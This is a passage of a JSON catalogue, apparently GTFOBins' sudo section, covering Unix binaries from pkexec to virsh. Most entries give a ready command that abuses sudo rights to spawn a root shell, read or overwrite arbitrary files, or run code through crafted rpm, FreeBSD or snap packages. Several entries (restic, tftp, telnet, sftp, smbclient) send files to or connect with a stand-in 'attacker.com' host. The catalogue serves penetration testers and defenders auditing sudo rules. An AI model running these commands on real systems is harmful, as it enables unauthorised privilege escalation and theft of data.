"code": "sudo pkexec /bin/sh" 1330 | } 1331 | ], 1332 | "pkg": [ 1333 | { 1334 | "code": "sudo pkg install -y --no-repo-update ./x-1.0.txz\n", 1335 | "description": "It runs commands using a specially crafted FreeBSD package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF\n```\n" 1336 | } 1337 | ], 1338 | "posh": [ 1339 | { 1340 | "code": "sudo posh" 1341 | } 1342 | ], 1343 | "pr": [ 1344 | { 1345 | "code": "LFILE=file_to_read\npr -T $LFILE\n" 1346 | } 1347 | ], 1348 | "pry": [ 1349 | { 1350 | "code": "sudo pry\nsystem(\"/bin/sh\")\n" 1351 | } 1352 | ], 1353 | "psftp": [ 1354 | { 1355 | "code": "sudo psftp\n!/bin/sh\n" 1356 | } 1357 | ], 1358 | "psql": [ 1359 | { 1360 | "code": "psql\n\\?\n!/bin/sh\n" 1361 | } 1362 | ], 1363 | "ptx": [ 1364 | { 1365 | "code": "LFILE=file_to_read\nsudo ptx -w 5000 \"$LFILE\"\n" 1366 | } 1367 | ], 1368 | "puppet": [ 1369 | { 1370 | "code": "sudo puppet apply -e \"exec { '/bin/sh -c \\\"exec sh -i <$(tty) >$(tty) 2>$(tty)\\\"': }\"\n" 1371 | } 1372 | ], 1373 | "pwsh": [ 1374 | { 1375 | "code": "sudo pwsh" 1376 | } 1377 | ], 1378 | "python": [ 1379 | { 1380 | "code": "sudo python -c 'import os; os.system(\"/bin/sh\")'" 1381 | } 1382 | ], 1383 | "rake": [ 1384 | { 1385 | "code": "sudo rake -p '`/bin/sh 1>&0`'" 1386 | } 1387 | ], 1388 | "rc": [ 1389 | { 1390 | "code": "sudo rc -c '/bin/sh'" 1391 | } 1392 | ], 1393 | "readelf": [ 1394 | { 1395 | "code": "LFILE=file_to_read\nsudo readelf -a @$LFILE\n" 1396 | } 1397 | ], 1398 | "red": [ 1399 | { 1400 | "code": "sudo red file_to_write\na\nDATA\n.\nw\nq\n" 1401 | } 1402 | ], 1403 | "redcarpet": [ 1404 | { 1405 | "code": "LFILE=file_to_read\nsudo redcarpet \"$LFILE\"\n" 1406 | } 1407 | ], 1408 | "restic": [ 1409 | { 1410 | "code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_or_dir_to_get\nNAME=backup_name\nsudo restic backup -r \"rest:http://$RHOST:$RPORT/$NAME\" \"$LFILE\"\n" 1411 | } 1412 | ], 1413 | "rev": [ 1414 | { 1415 | "code": "LFILE=file_to_read\nsudo rev $LFILE | rev\n" 1416 | } 1417 | ], 1418 | "rlwrap": [ 1419 | { 1420 | "code": "sudo rlwrap /bin/sh" 1421 | } 1422 | ], 1423 | "rpm": [ 1424 | { 1425 | "code": "sudo rpm --eval '%{lua:os.execute(\"/bin/sh\")}'" 1426 | }, 1427 | { 1428 | "code": "sudo rpm -ivh x-1.0-1.noarch.rpm\n", 1429 | "description": "It runs commands using a specially crafted RPM package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF\n```\n" 1430 | } 1431 | ], 1432 | "rpmdb": [ 1433 | { 1434 | "code": "sudo rpmdb --eval '%(/bin/sh 1>&2)'" 1435 | } 1436 | ], 1437 | "rpmquery": [ 1438 | { 1439 | "code": "sudo rpmquery --eval '%{lua:posix.exec(\"/bin/sh\")}'" 1440 | } 1441 | ], 1442 | "rpmverify": [ 1443 | { 1444 | "code": "sudo rpmverify --eval '%(/bin/sh 1>&2)'" 1445 | } 1446 | ], 1447 | "rsync": [ 1448 | { 1449 | "code": "sudo rsync -e 'sh -c \"sh 0<&2 1>&2\"' 127.0.0.1:/dev/null" 1450 | } 1451 | ], 1452 | "ruby": [ 1453 | { 1454 | "code": "sudo ruby -e 'exec \"/bin/sh\"'" 1455 | } 1456 | ], 1457 | "run-mailcap": [ 1458 | { 1459 | "code": "sudo run-mailcap --action=view /etc/hosts\n!/bin/sh\n", 1460 | "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply." 1461 | } 1462 | ], 1463 | "run-parts": [ 1464 | { 1465 | "code": "sudo run-parts --new-session --regex '^sh$' /bin" 1466 | } 1467 | ], 1468 | "runscript": [ 1469 | { 1470 | "code": "TF=$(mktemp)\necho '! exec /bin/sh' >$TF\nsudo runscript $TF\n" 1471 | } 1472 | ], 1473 | "rview": [ 1474 | { 1475 | "code": "sudo rview -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'", 1476 | "description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3." 1477 | }, 1478 | { 1479 | "code": "sudo rview -c ':lua os.execute(\"reset; exec sh\")'", 1480 | "description": "This requires that `rview` is compiled with Lua support." 1481 | } 1482 | ], 1483 | "rvim": [ 1484 | { 1485 | "code": "sudo rvim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'", 1486 | "description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3." 1487 | }, 1488 | { 1489 | "code": "sudo rvim -c ':lua os.execute(\"reset; exec sh\")'", 1490 | "description": "This requires that `rvim` is compiled with Lua support." 1491 | } 1492 | ], 1493 | "sash": [ 1494 | { 1495 | "code": "sudo sash" 1496 | } 1497 | ], 1498 | "scanmem": [ 1499 | { 1500 | "code": "sudo scanmem\nshell /bin/sh\n" 1501 | } 1502 | ], 1503 | "scp": [ 1504 | { 1505 | "code": "TF=$(mktemp)\necho 'sh 0<&2 1>&2' > $TF\nchmod +x \"$TF\"\nsudo scp -S $TF x y:\n" 1506 | } 1507 | ], 1508 | "screen": [ 1509 | { 1510 | "code": "sudo screen" 1511 | } 1512 | ], 1513 | "script": [ 1514 | { 1515 | "code": "sudo script -q /dev/null" 1516 | } 1517 | ], 1518 | "scrot": [ 1519 | { 1520 | "code": "sudo scrot -e /bin/sh" 1521 | } 1522 | ], 1523 | "sed": [ 1524 | { 1525 | "code": "sudo sed -n '1e exec sh 1>&0' /etc/hosts", 1526 | "description": "GNU version only. Also, this requires `bash`." 1527 | } 1528 | ], 1529 | "service": [ 1530 | { 1531 | "code": "sudo service ../../bin/sh" 1532 | } 1533 | ], 1534 | "setarch": [ 1535 | { 1536 | "code": "sudo setarch $(arch) /bin/sh" 1537 | } 1538 | ], 1539 | "setfacl": [ 1540 | { 1541 | "code": "LFILE=file_to_change\nUSER=somebody\nsudo setfacl -m -u:$USER:rwx $LFILE\n" 1542 | } 1543 | ], 1544 | "setlock": [ 1545 | { 1546 | "code": "sudo setlock - /bin/sh" 1547 | } 1548 | ], 1549 | "sftp": [ 1550 | { 1551 | "code": "HOST=user@attacker.com\nsudo sftp $HOST\n!/bin/sh\n" 1552 | } 1553 | ], 1554 | "sg": [ 1555 | { 1556 | "code": "sudo sg root\n" 1557 | } 1558 | ], 1559 | "shuf": [ 1560 | { 1561 | "code": "LFILE=file_to_write\nsudo shuf -e DATA -o \"$LFILE\"\n", 1562 | "description": "The written file content is corrupted by adding a newline." 1563 | } 1564 | ], 1565 | "slsh": [ 1566 | { 1567 | "code": "sudo slsh -e 'system(\"/bin/sh\")'" 1568 | } 1569 | ], 1570 | "smbclient": [ 1571 | { 1572 | "code": "sudo smbclient '\\\\attacker\\share'\n!/bin/sh\n" 1573 | } 1574 | ], 1575 | "snap": [ 1576 | { 1577 | "code": "sudo snap install xxxx_1.0_all.snap --dangerous --devmode\n", 1578 | "description": "It runs commands using a specially crafted Snap package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n```\nCOMMAND=id\ncd $(mktemp -d)\nmkdir -p meta/hooks\nprintf '#!/bin/sh\\n%s; false' \"$COMMAND\" >meta/hooks/install\nchmod +x meta/hooks/install\nfpm -n xxxx -s dir -t snap -a all meta\n```\n" 1579 | } 1580 | ], 1581 | "socat": [ 1582 | { 1583 | "code": "sudo socat stdin exec:/bin/sh\n", 1584 | "description": "The resulting shell is not a proper TTY shell and lacks the prompt." 1585 | } 1586 | ], 1587 | "soelim": [ 1588 | { 1589 | "code": "LFILE=file_to_read\nsudo soelim \"$LFILE\"\n" 1590 | } 1591 | ], 1592 | "softlimit": [ 1593 | { 1594 | "code": "sudo softlimit /bin/sh" 1595 | } 1596 | ], 1597 | "sort": [ 1598 | { 1599 | "code": "LFILE=file_to_read\nsudo sort -m \"$LFILE\"\n" 1600 | } 1601 | ], 1602 | "split": [ 1603 | { 1604 | "code": "sudo split --filter=/bin/sh /dev/stdin\n", 1605 | "description": "The shell prompt is not printed." 1606 | } 1607 | ], 1608 | "sqlite3": [ 1609 | { 1610 | "code": "sudo sqlite3 /dev/null '.shell /bin/sh'" 1611 | } 1612 | ], 1613 | "sqlmap": [ 1614 | { 1615 | "code": "sudo sqlmap -u 127.0.0.1 --eval=\"import os; os.system('/bin/sh')\"" 1616 | } 1617 | ], 1618 | "ss": [ 1619 | { 1620 | "code": "LFILE=file_to_read\nsudo ss -a -F $LFILE\n" 1621 | } 1622 | ], 1623 | "ssh": [ 1624 | { 1625 | "code": "sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x", 1626 | "description": "Spawn interactive root shell through ProxyCommand option." 1627 | } 1628 | ], 1629 | "ssh-agent": [ 1630 | { 1631 | "code": "sudo ssh-agent /bin/" 1632 | } 1633 | ], 1634 | "ssh-keygen": [ 1635 | { 1636 | "code": "sudo ssh-keygen -D ./lib.so", 1637 | "description": "" 1638 | } 1639 | ], 1640 | "ssh-keyscan": [ 1641 | { 1642 | "code": "LFILE=file_to_read\nsudo ssh-keyscan -f $LFILE\n" 1643 | } 1644 | ], 1645 | "sshpass": [ 1646 | { 1647 | "code": "sudo sshpass /bin/sh" 1648 | } 1649 | ], 1650 | "start-stop-daemon": [ 1651 | { 1652 | "code": "sudo start-stop-daemon -n $RANDOM -S -x /bin/sh" 1653 | } 1654 | ], 1655 | "stdbuf": [ 1656 | { 1657 | "code": "sudo stdbuf -i0 /bin/sh" 1658 | } 1659 | ], 1660 | "strace": [ 1661 | { 1662 | "code": "sudo strace -o /dev/null /bin/sh" 1663 | } 1664 | ], 1665 | "strings": [ 1666 | { 1667 | "code": "LFILE=file_to_read\nsudo strings \"$LFILE\"\n" 1668 | } 1669 | ], 1670 | "su": [ 1671 | { 1672 | "code": "sudo su" 1673 | } 1674 | ], 1675 | "sudo": [ 1676 | { 1677 | "code": "sudo sudo /bin/sh" 1678 | } 1679 | ], 1680 | "sysctl": [ 1681 | { 1682 | "code": "COMMAND='/bin/sh -c id>/tmp/id'\nsudo sysctl \"kernel.core_pattern=|$COMMAND\"\nsleep 9999 &\nkill -QUIT $!\ncat /tmp/id\n" 1683 | } 1684 | ], 1685 | "systemctl": [ 1686 | { 1687 | "code": "TF=$(mktemp)\necho /bin/sh >$TF\nchmod +x $TF\nsudo SYSTEMD_EDITOR=$TF systemctl edit system.slice\n" 1688 | }, 1689 | { 1690 | "code": "TF=$(mktemp).service\necho '[Service]\nType=oneshot\nExecStart=/bin/sh -c \"id > /tmp/output\"\n[Install]\nWantedBy=multi-user.target' > $TF\nsudo systemctl link $TF\nsudo systemctl enable --now $TF\n" 1691 | }, 1692 | { 1693 | "code": "sudo systemctl\n!sh\n", 1694 | "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply." 1695 | } 1696 | ], 1697 | "systemd-resolve": [ 1698 | { 1699 | "code": "sudo systemd-resolve --status\n!sh\n", 1700 | "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply." 1701 | } 1702 | ], 1703 | "tac": [ 1704 | { 1705 | "code": "LFILE=file_to_read\nsudo tac -s 'RANDOM' \"$LFILE\"\n" 1706 | } 1707 | ], 1708 | "tail": [ 1709 | { 1710 | "code": "LFILE=file_to_read\nsudo tail -c1G \"$LFILE\"\n" 1711 | } 1712 | ], 1713 | "tar": [ 1714 | { 1715 | "code": "sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh" 1716 | } 1717 | ], 1718 | "task": [ 1719 | { 1720 | "code": "sudo task execute /bin/sh" 1721 | } 1722 | ], 1723 | "taskset": [ 1724 | { 1725 | "code": "sudo taskset 1 /bin/sh" 1726 | } 1727 | ], 1728 | "tasksh": [ 1729 | { 1730 | "code": "sudo tasksh\n!/bin/sh\n" 1731 | } 1732 | ], 1733 | "tbl": [ 1734 | { 1735 | "code": "LFILE=file_to_read\nsudo tbl $LFILE\n" 1736 | } 1737 | ], 1738 | "tclsh": [ 1739 | { 1740 | "code": "sudo tclsh\nexec /bin/sh <@stdin >@stdout 2>@stderr\n" 1741 | } 1742 | ], 1743 | "tcpdump": [ 1744 | { 1745 | "code": "COMMAND='id'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\nsudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root\n" 1746 | } 1747 | ], 1748 | "tdbtool": [ 1749 | { 1750 | "code": "sudo tdbtool\n! /bin/sh\n" 1751 | } 1752 | ], 1753 | "tee": [ 1754 | { 1755 | "code": "LFILE=file_to_write\necho DATA | sudo tee -a \"$LFILE\"\n" 1756 | } 1757 | ], 1758 | "telnet": [ 1759 | { 1760 | "code": "RHOST=attacker.com\nRPORT=12345\nsudo telnet $RHOST $RPORT\n^]\n!/bin/sh\n", 1761 | "description": "BSD version only. Needs to be connected first." 1762 | } 1763 | ], 1764 | "terraform": [ 1765 | { 1766 | "code": "sudo terraform console\nfile(\"file_to_read\")\n" 1767 | } 1768 | ], 1769 | "tex": [ 1770 | { 1771 | "code": "sudo tex --shell-escape '\\write18{/bin/sh}\\end'\n" 1772 | } 1773 | ], 1774 | "tftp": [ 1775 | { 1776 | "code": "RHOST=attacker.com\nsudo tftp $RHOST\nput file_to_send\n", 1777 | "description": "Send local file to a TFTP server." 1778 | } 1779 | ], 1780 | "tic": [ 1781 | { 1782 | "code": "LFILE=file_to_read\nsudo tic -C \"$LFILE\"\n" 1783 | } 1784 | ], 1785 | "time": [ 1786 | { 1787 | "code": "sudo /usr/bin/time /bin/sh" 1788 | } 1789 | ], 1790 | "timedatectl": [ 1791 | { 1792 | "code": "sudo timedatectl list-timezones\n!/bin/sh\n" 1793 | } 1794 | ], 1795 | "timeout": [ 1796 | { 1797 | "code": "sudo timeout --foreground 7d /bin/sh" 1798 | } 1799 | ], 1800 | "tmate": [ 1801 | { 1802 | "code": "sudo tmate -c /bin/sh" 1803 | } 1804 | ], 1805 | "tmux": [ 1806 | { 1807 | "code": "sudo tmux" 1808 | } 1809 | ], 1810 | "top": [ 1811 | { 1812 | "code": "echo -e 'pipe\\tx\\texec /bin/sh 1>&0 2>&0' >>/root/.config/procps/toprc\nsudo top\n# press return twice\nreset\n", 1813 | "description": "This requires that the root configuration file is writable and might be used to persist elevated privileges." 1814 | } 1815 | ], 1816 | "torify": [ 1817 | { 1818 | "code": "sudo torify /bin/sh" 1819 | } 1820 | ], 1821 | "torsocks": [ 1822 | { 1823 | "code": "sudo torsocks /bin/sh" 1824 | } 1825 | ], 1826 | "troff": [ 1827 | { 1828 | "code": "LFILE=file_to_read\nsudo troff $LFILE\n" 1829 | } 1830 | ], 1831 | "ul": [ 1832 | { 1833 | "code": "LFILE=file_to_read\nsudo ul \"$LFILE\"\n" 1834 | } 1835 | ], 1836 | "unexpand": [ 1837 | { 1838 | "code": "LFILE=file_to_read\nsudo unexpand -t99999999 \"$LFILE\"\n" 1839 | } 1840 | ], 1841 | "uniq": [ 1842 | { 1843 | "code": "LFILE=file_to_read\nsudo uniq \"$LFILE\"\n" 1844 | } 1845 | ], 1846 | "unshare": [ 1847 | { 1848 | "code": "sudo unshare /bin/sh" 1849 | } 1850 | ], 1851 | "unsquashfs": [ 1852 | { 1853 | "code": "sudo unsquashfs shell\n./squashfs-root/sh -p\n" 1854 | } 1855 | ], 1856 | "unzip": [ 1857 | { 1858 | "code": "sudo unzip -K shell.zip\n./sh -p\n" 1859 | } 1860 | ], 1861 | "update-alternatives": [ 1862 | { 1863 | "code": "LFILE=/path/to/file_to_write\nTF=$(mktemp)\necho DATA >$TF\nsudo update-alternatives --force --install \"$LFILE\" x \"$TF\" 0\n", 1864 | "description": "Write in `$LFILE` a symlink to `$TF`." 1865 | } 1866 | ], 1867 | "uudecode": [ 1868 | { 1869 | "code": "LFILE=file_to_read\nsudo uuencode \"$LFILE\" /dev/stdout | uudecode\n" 1870 | } 1871 | ], 1872 | "uuencode": [ 1873 | { 1874 | "code": "LFILE=file_to_read\nsudo uuencode \"$LFILE\" /dev/stdout | uudecode\n" 1875 | } 1876 | ], 1877 | "vagrant": [ 1878 | { 1879 | "code": "cd $(mktemp -d)\necho 'exec \"/bin/sh\"' > Vagrantfile\nvagrant up\n" 1880 | } 1881 | ], 1882 | "valgrind": [ 1883 | { 1884 | "code": "sudo valgrind /bin/sh" 1885 | } 1886 | ], 1887 | "varnishncsa": [ 1888 | { 1889 | "code": "LFILE=file_to_write\nsudo varnishncsa -g request -q 'ReqURL ~ \"/xxx\"' -F '%{yyy}i' -w \"$LFILE\"\n" 1890 | } 1891 | ], 1892 | "vi": [ 1893 | { 1894 | "code": "sudo vi -c ':!/bin/sh' /dev/null" 1895 | } 1896 | ], 1897 | "view": [ 1898 | { 1899 | "code": "sudo view -c ':!/bin/sh'" 1900 | }, 1901 | { 1902 | "code": "sudo view -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'", 1903 | "description": "This requires that `view` is compiled with Python support. Prepend `:py3` for Python 3." 1904 | }, 1905 | { 1906 | "code": "sudo view -c ':lua os.execute(\"reset; exec sh\")'", 1907 | "description": "This requires that `view` is compiled with Lua support." 1908 | } 1909 | ], 1910 | "vigr": [ 1911 | { 1912 | "code": "sudo vigr" 1913 | } 1914 | ], 1915 | "vim": [ 1916 | { 1917 | "code": "sudo vim -c ':!/bin/sh'" 1918 | }, 1919 | { 1920 | "code": "sudo vim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'", 1921 | "description": "This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3." 1922 | }, 1923 | { 1924 | "code": "sudo vim -c ':lua os.execute(\"reset; exec sh\")'", 1925 | "description": "This requires that `vim` is compiled with Lua support." 1926 | } 1927 | ], 1928 | "vimdiff": [ 1929 | { 1930 | "code": "sudo vimdiff -c ':!/bin/sh'" 1931 | }, 1932 | { 1933 | "code": "sudo vimdiff -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'", 1934 | "description": "This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3." 1935 | }, 1936 | { 1937 | "code": "sudo vimdiff -c ':lua os.execute(\"reset; exec sh\")'", 1938 | "description": "This requires that `vimdiff` is compiled with Lua support." 1939 | } 1940 | ], 1941 | "vipw": [ 1942 | { 1943 | "code": "sudo vipw" 1944 | } 1945 | ], 1946 | "virsh": [ 1947 | { 1948 | "code": "SCRIPT=script_to_run\nTF=$(mktemp)\ncat > $TF << EOF\n\n x\n \n hvm\n \n 1\n \n \n